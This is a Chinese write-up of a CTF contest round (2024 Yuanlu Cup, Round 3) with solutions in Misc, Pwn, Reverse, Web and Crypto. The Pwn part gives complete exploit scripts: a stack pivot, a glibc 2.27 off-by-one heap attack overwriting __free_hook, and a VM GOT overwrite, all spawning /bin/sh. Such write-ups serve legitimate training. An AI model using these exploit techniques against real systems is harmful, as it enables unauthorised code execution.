2024源鲁杯CTF网络安全技能大赛题解-Round3

排名

欢迎关注公众号【Real返璞归真】不定时更新网络安全相关技术文章:

img

公众号回复【2024源鲁杯】获取全部Writeup(pdf版)和附件下载地址。(Round1-Round3)

image-20241023135548561

Misc

Blackdoor

下载后火绒直接发现木马文件,打开后发现密码:

image-20241023140517358

Pwn

Secret

image-20241023142602270

直接nc连接输入SuperSecretPassword即可。

ezstack3

32位程序:

image-20241023142222508

并且给了call system后门函数:

image-20241023142236636

只能溢出0x8个字节,即fake_ebp和返回地址。

通过第一个printf泄露ebp地址,然后通过leave ret栈迁移修改ebp为fake_ebp即可解决空间不够利用的问题。

再次返回vuln,输入/bin/sh字符串和call system返回地址即可。

完整exp如下所示:

from pwn import *

elf = ELF("./pwn")
p = process([elf.path])
# p = remote('challenge.yuanloo.com', '')

context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'

gdb.attach(p, 'b *0x8049305\nc')
pause()

# leak ebp
p.send(b'a' * 0x30)
p.recvuntil(b'a' * 0x30)
ebp = u32(p.recv(4)) - 0x10
success('ebp = ' + hex(ebp))

# stack_pivot
binsh = ebp - 0x8
system = 0x8049347
leave_ret = 0x08049185
fake_ebp = ebp - 0x30
payload = p32(0) + p32(system) + p32(binsh)
payload = payload.ljust(0x28, b'a') + b'/bin/sh\x00' + p32(fake_ebp) + p32(leave_ret)
p.send(payload)

p.interactive()

null

常规堆题,off-by-one,glibc2.27。区别在于这个题目限制了申请chunk的大小最多为0x100。

通过1字节溢出修改下一个chunk大小,释放到unsorted bin多次申请切割,控制tcache的fd指针。

然后修改__malloc_hook->one_gadget或__free_hook->system都可以。

完整exp如下所示:

from pwn import *

elf = ELF("./pwn")
libc = ELF("./libc-2.27.so")
p = process([elf.path])

context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'


def add_chunk(index, size):
    p.sendlineafter(b":", b"1")
    p.sendlineafter(b"Index: ", str(index).encode())
    p.sendlineafter(b"Size ", str(size).encode())


def edit_chunk(index, content):
    p.sendlineafter(b":", b"2")
    p.sendlineafter(b"Index:", str(index).encode())
    p.sendlineafter(b"Content:", content)


def show_chunk(index):
    p.sendlineafter(b":", b"3")
    p.sendlineafter(b"Index:", str(index).encode())


def delete_chunk(index):
    p.sendlineafter(b":", b"4")
    p.sendlineafter(b"Index:", str(index).encode())

# tcache_0x100
for i in range(7):
    add_chunk(i, 0x98)  # 0-6

add_chunk(7, 0x98)  # 7
add_chunk(8, 0x18)  # 8
add_chunk(9, 0x98)  # 9
add_chunk(10, 0x98)  # 10

add_chunk(20, 0x18)
add_chunk(21, 0x18)
add_chunk(22, 0x18)
delete_chunk(20)
delete_chunk(21)
delete_chunk(22)

for i in range(7):
    delete_chunk(6-i)
delete_chunk(7)

edit_chunk(8, b'a' * 0x10 + p64(0xc0) + p8(0xa0))
delete_chunk(9)

add_chunk(11, 0x68)
add_chunk(12, 0x68)
delete_chunk(8)

show_chunk(12)
p.recvuntil(b'Content: ')
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3afca0 - 0x3c000
libc.address = libc_base
success("libc_base = " + hex(libc_base))
edit_chunk(12, b'a' * 0x30 + p64(libc.sym['__free_hook']) + b'\n')

add_chunk(13, 0x18)
add_chunk(14, 0x18)

one_gadget = [0x4f29e, 0x4f2a5, 0x4f302, 0x10a2fc]
edit_chunk(14, p64(libc.sym['system']))

edit_chunk(13, b'/bin/sh\x00')
delete_chunk(13)

# gdb.attach(p)
# pause()

p.interactive()

show_me_the_code

程序分析

image-20241022170154159

在比较函数的位置下断点,直接拿到password为_Z10c0deVmMainv,如图所示:

image-20241022170231152

同样的动态调试方法,发现valid函数要求我们的函数第一个参数是struct *类型,并且结构体是.class。此外,还规定了每个函数的名称。

动态调试过程比较复杂,这里直接省略,给出所有函数声明(需要用extern,否则编译后名称会被cpp优化):

// clang-12 -emit-llvm -S exp.cpp -o exp.ll
#include <stdio.h>
#include <unistd.h>
#include <stdint.h>

// op_param1_struct
class edoc {
};

extern "C" {
    // op1(add)
    // idx <= 5
    // regs[idx] = num1 + num2
    void _ZN4edoc4addiEhii(edoc *op_param1_struct, int8_t idx, int num1, int num2);

    // op2(add)
    // idx <= 5 && -4096 < num < 4096  && use_once
    // regs[idx] += num
    void _ZN4edoc4chgrEhi(edoc *op_param1_struct, int8_t idx, int num);

    // op3(shift)
    // idx <= 5 && shiftAmount < 0x40
    // regs[idx] << shiftAmount or regs[idx] >> shiftAmount
    void _ZN4edoc4sftrEhbh(edoc *op_param1_struct, int8_t idx, bool leftShift, int8_t shiftAmount);

    // op4(xor)
    // idx <= 5 && a <= 5 && b <= 5
    // regs[idx] = regs[a] | regs[b]
    void _ZN4edoc4borrEhhh(edoc *op_param1_struct, int8_t idx, int8_t a, int8_t b);

    // op5(mov)
    // a < 8 && b < 8
    // regs[a] = regs[b]
    void _ZN4edoc4movrEhh(edoc *op_param1_struct, int8_t a, int8_t b);

    // op6(store)
    // idx <=5 && num <= 0x1000 && num & 7 == 0 && regs[6] & 0xFFF = 0 &&  regs[7] == regs[6] + 4096
    // *(regs[6] + num) = regs[idx]
    void _ZN4edoc4saveEhj(edoc *op_param1_struct, int8_t idx, int num);

    // op7(load)
    // idx <= 5 && num <= 0x1000 && num & 7 == 0 && regs[6] & 0xFFF = 0 && regs[7] == regs[6] + 4096
    // regs[idx] = *(regs[6] + num)
    void _ZN4edoc4loadEhj(edoc *op_param1_struct, int8_t idx, int num);

    // op8(exec)
    // idx <= 5 && num <= 0x1000 && num & 7 == 0 && regs[6] & 0xFFF = 0 &&  regs[7] == regs[6] + 4096
    // func = *(regs[6] + num); param = regs[idx]; func(param);
    void _ZN4edoc4runcEhj(edoc *op_param1_struct, int8_t idx, int num);
}

int test();

extern "C" {
    int _Z10c0deVmMainv()
    {
    	...
    }
}

以上就完成了分析交互的工作,下面开始利用。

利用思路

一般opt不开启pie和relro,可以考虑修改got表。并且op8函数允许我们调用任意函数传入任意参数。

经过动态调试,发现libc中,system函数附近有2个已解析的函数:getenv和___cxa_atexit。

这里以getenv为例,经过调试发现system = getenv + 0xb4b0。低12bit(3个数)即4b0固定。

而+0xb很容易导致进位,可以通过“移位”和“或”运算使第第5个数+1,然后爆破第4个数,成功概率约等于3/4 * 1/16 = 3 / 64,约等于 1/16。

然后,通过题目给的函数进行运算得到/bin/sh字符串写入到程序内存中,执行system(“/bin/sh”)。

完整exp如下所示:

// clang-12 -emit-llvm -S exp.cpp -o exp.ll
#include <stdio.h>
#include <unistd.h>
#include <stdint.h>

// op_param1_struct
class edoc {
};

extern "C" {
    // op1(add)
    // idx <= 5
    // regs[idx] = num1 + num2
    void _ZN4edoc4addiEhii(edoc *op_param1_struct, int8_t idx, int num1, int num2);

    // op2(add)
    // idx <= 5 && -4096 < num < 4096  && use_once
    // regs[idx] += num
    void _ZN4edoc4chgrEhi(edoc *op_param1_struct, int8_t idx, int num);

    // op3(shift)
    // idx <= 5 && shiftAmount < 0x40
    // regs[idx] << shiftAmount or regs[idx] >> shiftAmount
    void _ZN4edoc4sftrEhbh(edoc *op_param1_struct, int8_t idx, bool leftShift, int8_t shiftAmount);

    // op4(xor)
    // idx <= 5 && a <= 5 && b <= 5
    // regs[idx] = regs[a] | regs[b]
    void _ZN4edoc4borrEhhh(edoc *op_param1_struct, int8_t idx, int8_t a, int8_t b);

    // op5(mov)
    // a < 8 && b < 8
    // regs[a] = regs[b]
    void _ZN4edoc4movrEhh(edoc *op_param1_struct, int8_t a, int8_t b);

    // op6(store)
    // idx <=5 && num <= 0x1000 && num & 7 == 0 && regs[6] & 0xFFF = 0 &&  regs[7] == regs[6] + 4096
    // *(regs[6] + num) = regs[idx]
    void _ZN4edoc4saveEhj(edoc *op_param1_struct, int8_t idx, int num);

    // op7(load)
    // idx <= 5 && num <= 0x1000 && num & 7 == 0 && regs[6] & 0xFFF = 0 && regs[7] == regs[6] + 4096
    // regs[idx] = *(regs[6] + num)
    void _ZN4edoc4loadEhj(edoc *op_param1_struct, int8_t idx, int num);

    // op8(exec)
    // idx <= 5 && num <= 0x1000 && num & 7 == 0 && regs[6] & 0xFFF = 0 &&  regs[7] == regs[6] + 4096
    // func = *(regs[6] + num); param = regs[idx]; func(param);
    void _ZN4edoc4runcEhj(edoc *op_param1_struct, int8_t idx, int num);
}

int test();

extern "C" {
    int _Z10c0deVmMainv()
    {
        edoc *op_param1_struct = new edoc();

        // step1: regs[6] = 0x442000
        // ---------------------------------------------------
        // regs[0] = 1
        _ZN4edoc4addiEhii(op_param1_struct, 0, 1, 0);
        // regs[0] << 22 = 0x400000
        _ZN4edoc4sftrEhbh(op_param1_struct, 0, 1, 22);

        // regs[1] = 1
        // regs[1] << 18 = 0x40000
        _ZN4edoc4addiEhii(op_param1_struct, 1, 1, 0);
        _ZN4edoc4sftrEhbh(op_param1_struct, 1, 1, 18);

        // regs[2] = 1
        // regs[2] << 13 = 0x2000
        _ZN4edoc4addiEhii(op_param1_struct, 2, 1, 0);
        _ZN4edoc4sftrEhbh(op_param1_struct, 2, 1, 13);

        // regs[0] = regs[0] | regs[1] | regs[2] = 0x442000
        // regs[6] = regs[0]
        _ZN4edoc4borrEhhh(op_param1_struct, 0, 0, 1);
        _ZN4edoc4borrEhhh(op_param1_struct, 0, 0, 2);
        _ZN4edoc4movrEhh(op_param1_struct, 6, 0);
        // ---------------------------------------------------

        // step2: regs[7] = 0x443000
        // ---------------------------------------------------
        // regs[0] = 1
        // regs[0] << 22 = 0x400000
        _ZN4edoc4addiEhii(op_param1_struct, 0, 1, 0);
        _ZN4edoc4sftrEhbh(op_param1_struct, 0, 1, 22);

        // regs[1] = 1
        // regs[1] << 18 = 0x40000
        _ZN4edoc4addiEhii(op_param1_struct, 1, 1, 0);
        _ZN4edoc4sftrEhbh(op_param1_struct, 1, 1, 18);

        // regs[2] = 1
        // regs[2] = 0x2000
        _ZN4edoc4addiEhii(op_param1_struct, 2, 1, 0);
        _ZN4edoc4sftrEhbh(op_param1_struct, 2, 1, 13);
	
	// regs[3] = 1
        // regs[3] = 0x2000
        _ZN4edoc4addiEhii(op_param1_struct, 3, 1, 0);
        _ZN4edoc4sftrEhbh(op_param1_struct, 3, 1, 12);

        // regs[0] = regs[0] | regs[1] | regs[2] = 0x443000
        // regs[7] = (regs[0] = 4096)
        _ZN4edoc4borrEhhh(op_param1_struct, 0, 0, 1);
        _ZN4edoc4borrEhhh(op_param1_struct, 0, 0, 2);
        _ZN4edoc4borrEhhh(op_param1_struct, 0, 0, 3);
        _ZN4edoc4movrEhh(op_param1_struct, 7, 0);
        // ----------------------------------------------------

        // step3: load(getenv_got)
        // ----------------------------------------------------
        // getenv_got = 0x442000 + 0xad8
        // regs[0] = load(0x442000 + 0xad8)
        _ZN4edoc4loadEhj(op_param1_struct, 0, 0xad8);
        // ----------------------------------------------------

        // step4: store(system)
        // ----------------------------------------------------
        // regs[1] = 0x0d70
        _ZN4edoc4addiEhii(op_param1_struct, 1, 0xd, 0);
        _ZN4edoc4sftrEhbh(op_param1_struct, 1, 1, 8);

        _ZN4edoc4addiEhii(op_param1_struct, 2, 0x70, 0);
	_ZN4edoc4borrEhhh(op_param1_struct, 1, 1, 2);

	_ZN4edoc4addiEhii(op_param1_struct, 3, 1, 0);
	_ZN4edoc4sftrEhbh(op_param1_struct, 3, 1, 16);
	_ZN4edoc4borrEhhh(op_param1_struct, 1, 1, 3);
	
        // regs[0] = regs[0] + 0x50d70
        _ZN4edoc4sftrEhbh(op_param1_struct, 0, 0, 17);
        _ZN4edoc4sftrEhbh(op_param1_struct, 0, 1, 17);
        _ZN4edoc4borrEhhh(op_param1_struct, 0, 0, 1);

        // store(0x442000 + 0xad8, regs[0])
        _ZN4edoc4saveEhj(op_param1_struct, 0, 0xad8);
        // ----------------------------------------------------

        // step5: binsh(0x68732f6e69622f)
        // ----------------------------------------------------
        // regs[1] = 0x68732f6e69622f
        _ZN4edoc4addiEhii(op_param1_struct, 1, 0x68732f6, 0);
        _ZN4edoc4addiEhii(op_param1_struct, 2, 0xe69622f, 0);
        _ZN4edoc4sftrEhbh(op_param1_struct, 1, 1, 28);
        _ZN4edoc4borrEhhh(op_param1_struct, 1, 1, 2);

        // store(0x442000 + 0x000, regs[0])
        _ZN4edoc4saveEhj(op_param1_struct, 1, 0x000);
        // ----------------------------------------------------

        // step6: system("/bin/sh")
        // ----------------------------------------------------
        // call 0x442000 + 0xad8
        _ZN4edoc4movrEhh(op_param1_struct, 5, 6);
        _ZN4edoc4runcEhj(op_param1_struct, 5, 0xad8);
        // ----------------------------------------------------

        return 0;
    }
}

Reverse

Case

随机数种子是当前时间戳(秒),其它部分按照逻辑逆回去即可:

from pwn import *
import ctypes

p = remote("challenge.yuanloo.com", 12345)
libc = ctypes.cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

flag = list(range(43))
enc = p.recv().split(b',')
enc = [int(byte, 16) for byte in enc if byte]

libc.srand(libc.time(0))
for i in range(len(enc)):
    enc[i] ^= (libc.rand() % 255)

for i in range(len(enc)):
    if ord('A') <= enc[i] <= ord('Z'):
        tmp = enc[i] - 65 + 52
        tmp = tmp % 26
        while not ord('A') <= tmp <= ord('Z'):
            tmp += 26
        flag[i] = tmp
    elif ord('a') <= enc[i] <= ord('z'):
        tmp = enc[i] - 97 + 84
        tmp = tmp % 26
        while not ord('a') <= tmp <= ord('z'):
            tmp += 26
        flag[i] = tmp
    else:
        flag[i] = enc[i]

for x in flag:
    print(chr(x), end='')

p.interactive()

ezmaze

image-20241023140616774

迷宫(11行x10列):

*****++***
******+***
***+*++***
***+++****
*F*+******
*+*+++****
*+***++***
*+***+****
*+***+*+**
*+++++++**
**********

+表示可走路径,*表示墙壁。从第一行,第六列开始出发。

每次按一个键会连续走到墙壁停止。因此,到达F的路线:dsasasdsaw。

Web

404

这道题目看题目名就猜的差不多了,肯定是301或者302重定向到404。

直接找到js文件:

image-20241022113247054

发现hint是f12g.php,访问发现会直接302重定向到404:

image-20241022113415352

在302重定向里的响应头发现可疑Base,解密后得到“去ca.php做个数学题吧”。访问ca.php:

image-20241022113456399

页面每3秒会刷新一次,直接写个js脚本在控制台执行即可:

const content = document.evaluate('/html/body/pre', document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue;

if (content) {
    const expressions = content.textContent.split('\n').filter(line => line.trim() !== '');
    const variables = {};

    // 计算表达式
    expressions.forEach(exp => {
        const [varName, expression] = exp.split(' = ');
        const sanitizedExpression = expression
            .replace(/log/g, 'Math.log')
            .replace(/sqrt/g, 'Math.sqrt')
            .replace(/pow/g, 'Math.pow')
            .replace(/sin/g, 'Math.sin')
            .replace(/cos/g, 'Math.cos')
            .replace(/tan/g, 'Math.tan')
            .replace(/abs/g, 'Math.abs')
            .replace(/exp/g, 'Math.exp');

        // 创建一个上下文对象,将已有变量传入
        const context = { ...variables };

        // 计算表达式
        variables[varName.trim()] = eval(sanitizedExpression.replace(/\$(\w+)/g, (match, p1) => context[`$${p1}`]));
    });

    const result = variables['$answer'];
    console.log('计算结果:', result);

    // POST 请求将结果发送到指定的 URL
    fetch('http://challenge.yuanloo.com:26323/ca.php', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded',
        },
        body: `user_answer=${encodeURIComponent(result)}`
    })
    .then(response => response.text())
    .then(data => console.log('服务器响应:', data))
    .catch(error => console.error('请求错误:', error));
} else {
    console.log('没有找到该元素');
}

执行后得到Flag:

image-20241022114239990

Crypto

QWQ

颜文字aaencode解密后bas32解码。

ezlcg

lcg线性同余,都是网上的模板,嵌套了三种类型,直接模板跑就行了。

from pwn import *
import gmpy2

context(os='linux', arch='amd64', log_level='debug')

def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def r(a):
    return p.recv(a)
def ru(a):
    return p.recvuntil(a)
def debug():
    gdb.attach(p)
    pause()
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb(libcbase):
    return libcbase + libc.sym['system'], libcbase + next(libc.search(b'/bin/sh\x00'))

p = remote("challenge.yuanloo.com",39299)
#p = process('./pwn')

for i in range(50):
	ru("a=")
	a = int(p.recvline()[:-1])
	ru("b=")
	b = int(p.recvline()[:-1])
	ru("N=")
	n = int(p.recvline()[:-1])
	ru("num1=")
	c = int(p.recvline()[:-1])
	ans = gmpy2.invert(a,n)
	seed = c 
	seed = (ans*(seed - b)) % n
	sla("seed = ",str(seed))

for i in range(30):
	ru("a=")
	a = int(p.recvline()[:-1])
	ru("N=")
	n = int(p.recvline()[:-1])
	ru("num1=")
	num1 = int(p.recvline()[:-1])
	ru("num2=")
	num2 = int(p.recvline()[:-1])
	b = (num2 - a * num1) % n
	ans= gmpy2.invert(a,n)
	seed = (ans * (num1 - b)) % n
	sla("seed = ",str(seed))

for i in range(10):
	ru("N=")
	n = int(p.recvline()[:-1])
	ru("num1=")
	num1 = int(p.recvline()[:-1])
	ru("num2=")
	num2 = int(p.recvline()[:-1])
	ru("num3=")
	num3 = int(p.recvline()[:-1])
	temp_1 = num1
	temp_2 = num2
	temp_3 = num3
	temp = gmpy2.invert((temp_2 - temp_1),n)
	a = (temp * (temp_3 - temp_2)) % n
	b = (temp_2 - a * temp_1) % n
	ans= gmpy2.invert(a,n)
	seed = (ans * (temp_1 - b)) % n
	sla("seed = ",str(seed))

p.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值